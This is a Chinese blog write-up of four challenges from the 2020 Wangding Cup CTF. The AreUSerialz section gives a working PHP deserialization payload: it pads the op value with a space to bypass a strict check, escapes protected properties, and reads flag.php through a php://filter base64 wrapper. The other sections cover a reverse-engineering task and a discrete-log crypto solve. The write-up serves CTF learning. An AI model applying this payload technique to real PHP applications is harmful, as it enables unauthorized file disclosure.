隐藏页面特效
Fork me on GitHub

2020 网鼎杯wp

1|02020 网鼎杯WP


  • 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录

1|1AreUSerialz


知识点:反序列化

  • 打开链接直接给出源码
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
  • 这里首先就是要满足payload的字符的ASCII32125之间,其次就是要绕过构造函数和析构函数
  • 其中构造函数在一开始就会被执行,而其中又会执行process函数
  • process函数中只有执行到read函数时才能读取文件,而要执行read函数则必须使op=2,这里可以通过加空格绕过
  • 接下来就是对于protected在反序列化时,要加上\00的前缀
  • 此外在PHP5最新的CVS中,新的序列化方式叫做escaped binary string方式,这是相对与普通那种non-escaped binary string方式来说的:string型数据(字符串)新的序列化格式为:S:"<length>":"<value>";其中<length>是源字符串的长度,而非<value>的长度。<length>是非负整数,数字前可以带有正号(+)<value>为经过转义之后的字符串。它的转义编码很简单,对于ASCII码小于128的字符(但不包括\),按照单个字节写入(与s标识的相同),对于128~255的字符和\字符,则将其ASCII码值转化为16进制编码的字符串,以\作为开头,后面两个字节分别是这个字符的16进制编码,顺序按照由高位到低位排列,也就是第8-5位所对应的16进制数字字符(abcdef这几个字母是小写)作为第一个字节,第4-1位作为第二个字节。依次编码下来,得到的就是<value>的内容了。
  • 所以对于普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";
  • 所以这里最终的payload如下:
<?php class FileHandler { protected $op=" 2"; protected $filename='php://filter/read=convert.base64-encode/resource=flag.php'; protected $content= "Hello World"; } $a=new FileHandler(); echo $b=serialize($a);
  • O:11:"FileHandler":3:{s:5:"\00*\00op";s:2:" 2";s:11:"\00*\00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"\00*\00content";s:11:"Hello World";}

1|2boom


  • 无脑计算题,level-1md5直接在线查找一下,发现时en5oylevel-2的方程组用sympy解一下或者直接手算,level-3稍微有一些坑,首先用sympy解出x=89127561直接回车后会闪退,这里可以用OD动调一下就可抓到flag

1|3you raise me up


知识点:Pohlig-Hellman,离散对数求解

  • 直接用sage解即可
sage: n = 2 ** 512 sage: m = 3911907091245274289594896625652740393183059521729368594038550795814027 ....: 70986890308469084735451207885386318986881041563704825943945069343345307381 ....: 099559075 sage: c = 6665851394203214245856789450723658632520816791621796775909766895233000 ....: 23402364287878602564495379799537321130848560539702412318008592411761080248 ....: 5972584499 sage: discrete_log(c,mod(m,n)) 56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757
  • 最后直接在python中解一下即可
>>> long_to_bytes(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757) b'flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}'

1|4签到题


  • emmmmmmmm,这个充个数,就不讲了

__EOF__

本文作者Konmu
本文链接https://www.cnblogs.com/Konmu/p/12865155.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Konmu  阅读(1423)  评论(7编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示